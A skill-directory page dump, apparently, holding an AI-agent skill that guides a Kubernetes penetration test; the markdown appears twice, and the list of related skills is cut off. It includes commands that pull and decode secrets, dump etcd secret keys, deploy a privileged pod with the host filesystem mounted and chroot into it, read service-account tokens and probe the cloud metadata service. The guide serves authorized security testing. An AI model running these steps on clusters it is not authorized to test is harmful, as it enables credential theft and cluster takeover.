[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFW8ANX5MNVFXZH098HFCX":3,"skill-same:01M6AFW8ANX5MNVFXZH098HFCX":134},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":55,"linkOnly":56,"markdownContent":57,"markdownBody":58,"frontMatter":59,"refName":75,"commitSha":76,"skillDirectory":77,"forksCount":78,"repositoryHtmlUrl":79,"repositoryHomepageUrl":80,"ownerHtmlUrl":81,"ownerBlogUrl":82,"ownerDescription":83,"updatedAt":84,"install":85,"resources":98},"01M6AFW8ANX5MNVFXZH098HFCX","performing-kubernetes-penetration-testing",null,"Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000037","律师与法务","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54],"performing kubernetes penetration testing","kubernetes","penetration testing","testing","benchmark","api","exploitation","kubectl","network","container-security","server","audit","pr","rbac","auth","test","cybersecurity","policy","security","containers","2026-11-10 10:12:30",false,"---\nname: performing-kubernetes-penetration-testing\ndescription: >-\n  Evaluates Kubernetes cluster security by actively simulating attacker techniques against the\n  API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter,\n  Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise.\n  Use for an authorized penetration test or hands-on validation that controls actually stop an\n  attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token\n  theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance\n  audit - use performing-kubernetes-cis-benchmark-with-kube-bench.\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- containers\n- kubernetes\n- security\n- penetration-testing\n- offensive-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- PR.IR-01\n- ID.AM-08\n- DE.CM-01\nmitre_attack:\n- T1610\n- T1611\n- T1609\n- T1525\n---\n# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n","# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n",{"name":5,"tags":60,"author":63,"domain":51,"license":15,"version":64,"nist_csf":65,"subdomain":44,"description":7,"mitre_attack":70},[54,36,53,61,62],"penetration-testing","offensive-security","mahipal","1.0",[66,67,68,69],"PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01",[71,72,73,74],"T1610","T1611","T1609","T1525","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-kubernetes-penetration-testing",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":86,"prompt":96,"zipAvailable":97},[87,90,93],{"tool":88,"command":89},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-kubernetes-penetration-testing",{"tool":91,"command":92},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-kubernetes-penetration-testing",{"tool":94,"command":95},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-kubernetes-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002FSKILL.md",true,[99,105,110,116,120,124,130],{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"assets\u002Ftemplate.md","ASSET","资产文件",1163,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Fassets\u002Ftemplate.md",{"path":106,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002FLICENSE",{"path":111,"resourceType":112,"resourceTypeDesc":113,"sizeBytes":114,"sourceHtmlUrl":115},"references\u002Fapi-reference.md","REFERENCE","参考文档",1495,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fapi-reference.md",{"path":117,"resourceType":112,"resourceTypeDesc":113,"sizeBytes":118,"sourceHtmlUrl":119},"references\u002Fstandards.md",1616,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fstandards.md",{"path":121,"resourceType":112,"resourceTypeDesc":113,"sizeBytes":122,"sourceHtmlUrl":123},"references\u002Fworkflows.md",2794,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fworkflows.md",{"path":125,"resourceType":126,"resourceTypeDesc":127,"sizeBytes":128,"sourceHtmlUrl":129},"scripts\u002Fagent.py","SCRIPT","脚本",7602,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Fscripts\u002Fagent.py",{"path":131,"resourceType":126,"resourceTypeDesc":127,"sizeBytes":132,"sourceHtmlUrl":133},"scripts\u002Fprocess.py",15632,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-kubernetes-penetration-testing\u002Fscripts\u002Fprocess.py",[135,160,183,208,234,260],{"skillNo":136,"name":137,"nameZh":6,"description":138,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":139,"categories":140,"keywords":142,"publishedAt":55},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[141],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[143,144,145,146,53,51,147,148,47,149,150,151,152,153,154,155,156,157,158,159],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":167,"publishedAt":55},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[166],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[168,156,169,170,53,52,51,47,171,172,173,174,175,176,177,178,179,180,181,182],"boot","TPM","validating tpm measured boot attestation","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":184,"name":185,"nameZh":6,"description":186,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":187,"categories":188,"keywords":191,"publishedAt":55},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[189,190],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[177,192,193,194,38,51,195,196,171,197,198,199,200,201,202,203,204,205,206,207],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":215,"publishedAt":55},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[214],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[216,217,218,51,219,220,221,222,223,224,225,226,227,228,229,230,174,231,232,233],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":241,"publishedAt":55},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS 